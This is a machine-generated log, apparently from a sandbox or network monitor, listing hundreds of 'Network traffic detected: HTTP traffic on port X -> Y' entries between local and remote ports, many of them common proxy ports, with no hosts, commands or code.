Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 29212
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 999
Source: unknown	Network traffic detected: HTTP traffic on port 50030 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 50064 -> 10089
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 8635
Source: unknown	Network traffic detected: HTTP traffic on port 50174 -> 36129
Source: unknown	Network traffic detected: HTTP traffic on port 50078 -> 46475
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 9002
Source: unknown	Network traffic detected: HTTP traffic on port 50144 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50119 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50063 -> 48993
Source: unknown	Network traffic detected: HTTP traffic on port 50088 -> 8193
Source: unknown	Network traffic detected: HTTP traffic on port 50099 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 50091 -> 8193
Source: unknown	Network traffic detected: HTTP traffic on port 50107 -> 999
Source: unknown	Network traffic detected: HTTP traffic on port 50123 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 36181
Source: unknown	Network traffic detected: HTTP traffic on port 50182 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50200 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50138 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 50287 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50243 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50150 -> 3129
Source: unknown	Network traffic detected: HTTP traffic on port 50288 -> 25154
Source: unknown	Network traffic detected: HTTP traffic on port 50172 -> 10007
Source: unknown	Network traffic detected: HTTP traffic on port 50201 -> 10000
Source: unknown	Network traffic detected: HTTP traffic on port 50179 -> 65533
Source: unknown	Network traffic detected: HTTP traffic on port 10011 -> 49937
Source: unknown	Network traffic detected: HTTP traffic on port 50296 -> 18762
Source: unknown	Network traffic detected: HTTP traffic on port 50167 -> 57320
Source: unknown	Network traffic detected: HTTP traffic on port 8002 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 50364 -> 32233
Source: unknown	Network traffic detected: HTTP traffic on port 50210 -> 9150
Source: unknown	Network traffic detected: HTTP traffic on port 50139 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 50151 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 50146 -> 7302
Source: unknown	Network traffic detected: HTTP traffic on port 50345 -> 9080
Source: unknown	Network traffic detected: HTTP traffic on port 50338 -> 8380
Source: unknown	Network traffic detected: HTTP traffic on port 50256 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 50249 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 8000
Source: unknown	Network traffic detected: HTTP traffic on port 50227 -> 8800
Source: unknown	Network traffic detected: HTTP traffic on port 50290 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50424 -> 31147
Source: unknown	Network traffic detected: HTTP traffic on port 10000 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 50396 -> 9764
Source: unknown	Network traffic detected: HTTP traffic on port 50357 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50239 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50309 -> 22735
Source: unknown	Network traffic detected: HTTP traffic on port 50349 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50456 -> 9080
Source: unknown	Network traffic detected: HTTP traffic on port 10089 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 50444 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50399 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 50354 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 50366 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 51718
Source: unknown	Network traffic detected: HTTP traffic on port 50546 -> 8060
Source: unknown	Network traffic detected: HTTP traffic on port 50428 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50374 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50395 -> 1388
Source: unknown	Network traffic detected: HTTP traffic on port 50388 -> 31145
Source: unknown	Network traffic detected: HTTP traffic on port 50520 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 8889
Source: unknown	Network traffic detected: HTTP traffic on port 50412 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50577 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 50570 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50523 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 999 -> 50107
Source: unknown	Network traffic detected: HTTP traffic on port 50483 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50613 -> 52929
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 999
Source: unknown	Network traffic detected: HTTP traffic on port 9002 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 50425 -> 20828
Source: unknown	Network traffic detected: HTTP traffic on port 10007 -> 50172
Source: unknown	Network traffic detected: HTTP traffic on port 50548 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 10000 -> 50201
Source: unknown	Network traffic detected: HTTP traffic on port 65533 -> 50179
Source: unknown	Network traffic detected: HTTP traffic on port 50569 -> 1081
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50735 -> 20896
Source: unknown	Network traffic detected: HTTP traffic on port 50174 -> 36129
Source: unknown	Network traffic detected: HTTP traffic on port 50645 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 50109
Source: unknown	Network traffic detected: HTTP traffic on port 50576 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50662 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50691 -> 47935
Source: unknown	Network traffic detected: HTTP traffic on port 50715 -> 51123
Source: unknown	Network traffic detected: HTTP traffic on port 50618 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50651 -> 56613
Source: unknown	Network traffic detected: HTTP traffic on port 50639 -> 7891
Source: unknown	Network traffic detected: HTTP traffic on port 50827 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50275 -> 9002
Source: unknown	Network traffic detected: HTTP traffic on port 50750 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50636 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 50874 -> 16487
Source: unknown	Network traffic detected: HTTP traffic on port 50693 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 50349
Source: unknown	Network traffic detected: HTTP traffic on port 50787 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50852 -> 5050
Source: unknown	Network traffic detected: HTTP traffic on port 50082 -> 4506
Source: unknown	Network traffic detected: HTTP traffic on port 50810 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50678 -> 8899
Source: unknown	Network traffic detected: HTTP traffic on port 50725 -> 21000
Source: unknown	Network traffic detected: HTTP traffic on port 50670 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 50447 -> 7302
Source: unknown	Network traffic detected: HTTP traffic on port 50732 -> 8197
Source: unknown	Network traffic detected: HTTP traffic on port 50582 -> 8193
Source: unknown	Network traffic detected: HTTP traffic on port 50177 -> 808
Source: unknown	Network traffic detected: HTTP traffic on port 50868 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50773 -> 4153
Source: unknown	Network traffic detected: HTTP traffic on port 50837 -> 47344
Source: unknown	Network traffic detected: HTTP traffic on port 50808 -> 10046
Source: unknown	Network traffic detected: HTTP traffic on port 50783 -> 58612
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 50239
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 29212
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 50354
Source: unknown	Network traffic detected: HTTP traffic on port 50364 -> 32233
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 8635
Source: unknown	Network traffic detected: HTTP traffic on port 50871 -> 8193
Source: unknown	Network traffic detected: HTTP traffic on port 50078 -> 46475
Source: unknown	Network traffic detected: HTTP traffic on port 51056 -> 48738
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 50523
Source: unknown	Network traffic detected: HTTP traffic on port 50755 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 51041 -> 8000
Source: unknown	Network traffic detected: HTTP traffic on port 51051 -> 9764
Source: unknown	Network traffic detected: HTTP traffic on port 50854 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50883 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 50877 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 50910 -> 8083
Source: unknown	Network traffic detected: HTTP traffic on port 50921 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 50063 -> 48993
Source: unknown	Network traffic detected: HTTP traffic on port 50904 -> 8193
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 50483
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 999
Source: unknown	Network traffic detected: HTTP traffic on port 50894 -> 38832
Source: unknown	Network traffic detected: HTTP traffic on port 50954 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 51020 -> 54321
Source: unknown	Network traffic detected: HTTP traffic on port 50967 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51052 -> 10011
Source: unknown	Network traffic detected: HTTP traffic on port 51094 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 50576
Source: unknown	Network traffic detected: HTTP traffic on port 51164 -> 60283
Source: unknown	Network traffic detected: HTTP traffic on port 50931 -> 3129
Source: unknown	Network traffic detected: HTTP traffic on port 50980 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 51095 -> 10008
Source: unknown	Network traffic detected: HTTP traffic on port 50167 -> 57320
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 9834
Source: unknown	Network traffic detected: HTTP traffic on port 50941 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 3030
Source: unknown	Network traffic detected: HTTP traffic on port 50535 -> 8899
Source: unknown	Network traffic detected: HTTP traffic on port 51159 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 51144 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 50693
Source: unknown	Network traffic detected: HTTP traffic on port 51071 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 51104 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51107 -> 45517
Source: unknown	Network traffic detected: HTTP traffic on port 50309 -> 22735
Source: unknown	Network traffic detected: HTTP traffic on port 51074 -> 4153
Source: unknown	Network traffic detected: HTTP traffic on port 51145 -> 10089
Source: unknown	Network traffic detected: HTTP traffic on port 51105 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 50290 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 8000 -> 51041
Source: unknown	Network traffic detected: HTTP traffic on port 51160 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51090 -> 29631
Source: unknown	Network traffic detected: HTTP traffic on port 51151 -> 47152
Source: unknown	Network traffic detected: HTTP traffic on port 51102 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 50771 -> 1976
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 50636
Source: unknown	Network traffic detected: HTTP traffic on port 31147 -> 50424
Source: unknown	Network traffic detected: HTTP traffic on port 51146 -> 8800
Source: unknown	Network traffic detected: HTTP traffic on port 50613 -> 52929
Source: unknown	Network traffic detected: HTTP traffic on port 50146 -> 7302
Source: unknown	Network traffic detected: HTTP traffic on port 51158 -> 9091
Source: unknown	Network traffic detected: HTTP traffic on port 51168 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51106 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 51217 -> 58630
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 8889
Source: unknown	Network traffic detected: HTTP traffic on port 8081 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 51062 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 50174 -> 36129
Source: unknown	Network traffic detected: HTTP traffic on port 51176 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50811 -> 31908
Source: unknown	Network traffic detected: HTTP traffic on port 51171 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 51718
Source: unknown	Network traffic detected: HTTP traffic on port 50777 -> 8899
Source: unknown	Network traffic detected: HTTP traffic on port 51214 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51181 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50395 -> 1388
Source: unknown	Network traffic detected: HTTP traffic on port 50691 -> 47935
Source: unknown	Network traffic detected: HTTP traffic on port 51135 -> 9090
Source: unknown	Network traffic detected: HTTP traffic on port 51210 -> 10000
Source: unknown	Network traffic detected: HTTP traffic on port 51209 -> 10007
Source: unknown	Network traffic detected: HTTP traffic on port 8000 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 50374 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 7302 -> 50447
Source: unknown	Network traffic detected: HTTP traffic on port 50087 -> 6116
Source: unknown	Network traffic detected: HTTP traffic on port 50631 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 10011 -> 51052
Source: unknown	Network traffic detected: HTTP traffic on port 50715 -> 51123
Source: unknown	Network traffic detected: HTTP traffic on port 1080 -> 50755
Source: unknown	Network traffic detected: HTTP traffic on port 10008 -> 51095
Source: unknown	Network traffic detected: HTTP traffic on port 51219 -> 1081
Source: unknown	Network traffic detected: HTTP traffic on port 51204 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 50116 -> 60349
Source: unknown	Network traffic detected: HTTP traffic on port 50412 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 51104
Source: unknown	Network traffic detected: HTTP traffic on port 9002 -> 50275
Source: unknown	Network traffic detected: HTTP traffic on port 50192 -> 17982
Source: unknown	Network traffic detected: HTTP traffic on port 51252 -> 9764
Source: unknown	Network traffic detected: HTTP traffic on port 51245 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50639 -> 7891
Source: unknown	Network traffic detected: HTTP traffic on port 50364 -> 32233
Source: unknown	Network traffic detected: HTTP traffic on port 10089 -> 51145
Source: unknown	Network traffic detected: HTTP traffic on port 51230 -> 7777
Source: unknown	Network traffic detected: HTTP traffic on port 51317 -> 49588
Source: unknown	Network traffic detected: HTTP traffic on port 47152 -> 51151
Source: unknown	Network traffic detected: HTTP traffic on port 51282 -> 55019
Source: unknown	Network traffic detected: HTTP traffic on port 50334 -> 15280
Source: unknown	Network traffic detected: HTTP traffic on port 1080 -> 50941
Source: unknown	Network traffic detected: HTTP traffic on port 51246 -> 8899
Source: unknown	Network traffic detected: HTTP traffic on port 50390 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51249 -> 8197
Source: unknown	Network traffic detected: HTTP traffic on port 51164 -> 60283
Source: unknown	Network traffic detected: HTTP traffic on port 51172 -> 36181
Source: unknown	Network traffic detected: HTTP traffic on port 51266 -> 8193
Source: unknown	Network traffic detected: HTTP traffic on port 50310 -> 60433
Source: unknown	Network traffic detected: HTTP traffic on port 51313 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50475 -> 46849
Source: unknown	Network traffic detected: HTTP traffic on port 51257 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50837 -> 47344
Source: unknown	Network traffic detected: HTTP traffic on port 50670 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 9091 -> 51158
Source: unknown	Network traffic detected: HTTP traffic on port 7302 -> 50146
Source: unknown	Network traffic detected: HTTP traffic on port 10000 -> 51210
Source: unknown	Network traffic detected: HTTP traffic on port 10007 -> 51209
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 51181
Source: unknown	Network traffic detected: HTTP traffic on port 50435 -> 31654
Source: unknown	Network traffic detected: HTTP traffic on port 50431 -> 10919
Source: unknown	Network traffic detected: HTTP traffic on port 51265 -> 4153
Source: unknown	Network traffic detected: HTTP traffic on port 51332 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 50454 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50457 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51287 -> 52395
Source: unknown	Network traffic detected: HTTP traffic on port 51296 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 51290 -> 16379
Source: unknown	Network traffic detected: HTTP traffic on port 51306 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 51302 -> 8193
Source: unknown	Network traffic detected: HTTP traffic on port 51311 -> 48114
Source: unknown	Network traffic detected: HTTP traffic on port 51322 -> 54321
Source: unknown	Network traffic detected: HTTP traffic on port 51350 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50420 -> 21605
Source: unknown	Network traffic detected: HTTP traffic on port 51328 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 9002
Source: unknown	Network traffic detected: HTTP traffic on port 50854 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50894 -> 38832
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 50109
Source: unknown	Network traffic detected: HTTP traffic on port 51378 -> 32708
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50602 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51340 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50707 -> 44809
Source: unknown	Network traffic detected: HTTP traffic on port 51380 -> 45517
Source: unknown	Network traffic detected: HTTP traffic on port 51346 -> 9123
Source: unknown	Network traffic detected: HTTP traffic on port 50967 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51382 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 51327 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 1080 -> 51204
Source: unknown	Network traffic detected: HTTP traffic on port 50598 -> 5212
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 999
Source: unknown	Network traffic detected: HTTP traffic on port 50078 -> 46475
Source: unknown	Network traffic detected: HTTP traffic on port 50655 -> 26545
Source: unknown	Network traffic detected: HTTP traffic on port 51386 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 50551 -> 9002
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 8635
Source: unknown	Network traffic detected: HTTP traffic on port 8899 -> 50535
Source: unknown	Network traffic detected: HTTP traffic on port 50781 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50713 -> 23711
Source: unknown	Network traffic detected: HTTP traffic on port 51401 -> 8180
Source: unknown	Network traffic detected: HTTP traffic on port 50931 -> 3129
Source: unknown	Network traffic detected: HTTP traffic on port 50740 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 51411 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51447 -> 9764
Source: unknown	Network traffic detected: HTTP traffic on port 50841 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 51257
Source: unknown	Network traffic detected: HTTP traffic on port 50063 -> 48993
Source: unknown	Network traffic detected: HTTP traffic on port 51402 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 51050 -> 57364
Source: unknown	Network traffic detected: HTTP traffic on port 51015 -> 18636
Source: unknown	Network traffic detected: HTTP traffic on port 51017 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 50907 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51036 -> 24834
Source: unknown	Network traffic detected: HTTP traffic on port 51317 -> 49588
Source: unknown	Network traffic detected: HTTP traffic on port 51443 -> 10008
Source: unknown	Network traffic detected: HTTP traffic on port 51456 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 51485 -> 14455
Source: unknown	Network traffic detected: HTTP traffic on port 50763 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51495 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50806 -> 4153
Source: unknown	Network traffic detected: HTTP traffic on port 51090 -> 29631
Source: unknown	Network traffic detected: HTTP traffic on port 50691 -> 47935
Source: unknown	Network traffic detected: HTTP traffic on port 51445 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 51483 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 32708 -> 51378
Source: unknown	Network traffic detected: HTTP traffic on port 51446 -> 7302
Source: unknown	Network traffic detected: HTTP traffic on port 51441 -> 8800
Source: unknown	Network traffic detected: HTTP traffic on port 51531 -> 18080
Source: unknown	Network traffic detected: HTTP traffic on port 51029 -> 8118
Source: unknown	Network traffic detected: HTTP traffic on port 51563 -> 60069
Source: unknown	Network traffic detected: HTTP traffic on port 50167 -> 57320
Source: unknown	Network traffic detected: HTTP traffic on port 51452 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51462 -> 9090
Source: unknown	Network traffic detected: HTTP traffic on port 8899 -> 50777
Source: unknown	Network traffic detected: HTTP traffic on port 51491 -> 1081
Source: unknown	Network traffic detected: HTTP traffic on port 51164 -> 60283
Source: unknown	Network traffic detected: HTTP traffic on port 51553 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51282 -> 55019
Source: unknown	Network traffic detected: HTTP traffic on port 50738 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 51106 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 51623 -> 24230
Source: unknown	Network traffic detected: HTTP traffic on port 50309 -> 22735
Source: unknown	Network traffic detected: HTTP traffic on port 50290 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 51497 -> 7777
Source: unknown	Network traffic detected: HTTP traffic on port 51525 -> 3050
Source: unknown	Network traffic detected: HTTP traffic on port 51639 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51785 -> 8800
Source: unknown	Network traffic detected: HTTP traffic on port 51490 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 51636 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 51566 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51584 -> 41890
Source: unknown	Network traffic detected: HTTP traffic on port 51457 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 51650 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51570 -> 30673
Source: unknown	Network traffic detected: HTTP traffic on port 51786 -> 26589
Source: unknown	Network traffic detected: HTTP traffic on port 51108 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 51601 -> 8899
Source: unknown	Network traffic detected: HTTP traffic on port 51600 -> 8197
Source: unknown	Network traffic detected: HTTP traffic on port 51732 -> 10919
Source: unknown	Network traffic detected: HTTP traffic on port 51735 -> 31654
Source: unknown	Network traffic detected: HTTP traffic on port 51737 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51607 -> 8193
Source: unknown	Network traffic detected: HTTP traffic on port 10008 -> 51443
Source: unknown	Network traffic detected: HTTP traffic on port 51744 -> 16379
Source: unknown	Network traffic detected: HTTP traffic on port 51705 -> 2572
Source: unknown	Network traffic detected: HTTP traffic on port 51659 -> 40975
Source: unknown	Network traffic detected: HTTP traffic on port 51748 -> 5566
Source: unknown	Network traffic detected: HTTP traffic on port 51783 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 51745 -> 8193
Source: unknown	Network traffic detected: HTTP traffic on port 51633 -> 7302
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 51791 -> 8118
Source: unknown	Network traffic detected: HTTP traffic on port 9002 -> 50551
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 29212
Source: unknown	Network traffic detected: HTTP traffic on port 51290 -> 16379
Source: unknown	Network traffic detected: HTTP traffic on port 51135 -> 9090
Source: unknown	Network traffic detected: HTTP traffic on port 18080 -> 51531
Source: unknown	Network traffic detected: HTTP traffic on port 51287 -> 52395
Source: unknown	Network traffic detected: HTTP traffic on port 50174 -> 36129
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 51483
Source: unknown	Network traffic detected: HTTP traffic on port 51809 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 51311 -> 48114
Source: unknown	Network traffic detected: HTTP traffic on port 50882 -> 9002
Source: unknown	Network traffic detected: HTTP traffic on port 51890 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51764 -> 9091
Source: unknown	Network traffic detected: HTTP traffic on port 51811 -> 4153
Source: unknown	Network traffic detected: HTTP traffic on port 51202 -> 16487
Source: unknown	Network traffic detected: HTTP traffic on port 51222 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51185 -> 4153
Source: unknown	Network traffic detected: HTTP traffic on port 51729 -> 8118
Source: unknown	Network traffic detected: HTTP traffic on port 50771 -> 1976
Source: unknown	Network traffic detected: HTTP traffic on port 51767 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 51657 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 8800 -> 51785
Source: unknown	Network traffic detected: HTTP traffic on port 50374 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51057 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51233 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51972 -> 45517
Source: unknown	Network traffic detected: HTTP traffic on port 51933 -> 48623
Source: unknown	Network traffic detected: HTTP traffic on port 51091 -> 9999
Source: unknown	Network traffic detected: HTTP traffic on port 51812 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 51918 -> 4153
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 51639
Source: unknown	Network traffic detected: HTTP traffic on port 51974 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 51948 -> 9002
Source: unknown	Network traffic detected: HTTP traffic on port 51317 -> 49588
Source: unknown	Network traffic detected: HTTP traffic on port 51860 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 50837 -> 47344
Source: unknown	Network traffic detected: HTTP traffic on port 52017 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51981 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 8889
Source: unknown	Network traffic detected: HTTP traffic on port 52027 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 41890 -> 51584
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 51566
Source: unknown	Network traffic detected: HTTP traffic on port 51654 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 52038 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 51951 -> 9091
Source: unknown	Network traffic detected: HTTP traffic on port 52170 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 52166 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 52011 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 52025 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 52010 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 51340 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51346 -> 9123
Source: unknown	Network traffic detected: HTTP traffic on port 50412 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 52022 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 51294 -> 26927
Source: unknown	Network traffic detected: HTTP traffic on port 52024 -> 8180
Source: unknown	Network traffic detected: HTTP traffic on port 52141 -> 22500
Source: unknown	Network traffic detected: HTTP traffic on port 52115 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51979 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51310 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 52091 -> 31280
Source: unknown	Network traffic detected: HTTP traffic on port 51623 -> 24230
Source: unknown	Network traffic detected: HTTP traffic on port 52046 -> 8192
Source: unknown	Network traffic detected: HTTP traffic on port 52082 -> 29985
Source: unknown	Network traffic detected: HTTP traffic on port 52161 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 52055 -> 10051
Source: unknown	Network traffic detected: HTTP traffic on port 52151 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 52093 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 52078 -> 64556
Source: unknown	Network traffic detected: HTTP traffic on port 51172 -> 36181
Source: unknown	Network traffic detected: HTTP traffic on port 50364 -> 32233
Source: unknown	Network traffic detected: HTTP traffic on port 51538 -> 9990
Source: unknown	Network traffic detected: HTTP traffic on port 1080 -> 51490
Source: unknown	Network traffic detected: HTTP traffic on port 9002 -> 50049
Source: unknown	Network traffic detected: HTTP traffic on port 7302 -> 51633
Source: unknown	Network traffic detected: HTTP traffic on port 51327 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 52203 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 52075 -> 82
Source: unknown	Network traffic detected: HTTP traffic on port 52175 -> 10010
Source: unknown	Network traffic detected: HTTP traffic on port 3030 -> 49924
Source: unknown	Network traffic detected: HTTP traffic on port 52102 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 52148 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 52243 -> 26589
Source: unknown	Network traffic detected: HTTP traffic on port 52244 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 52167 -> 1080
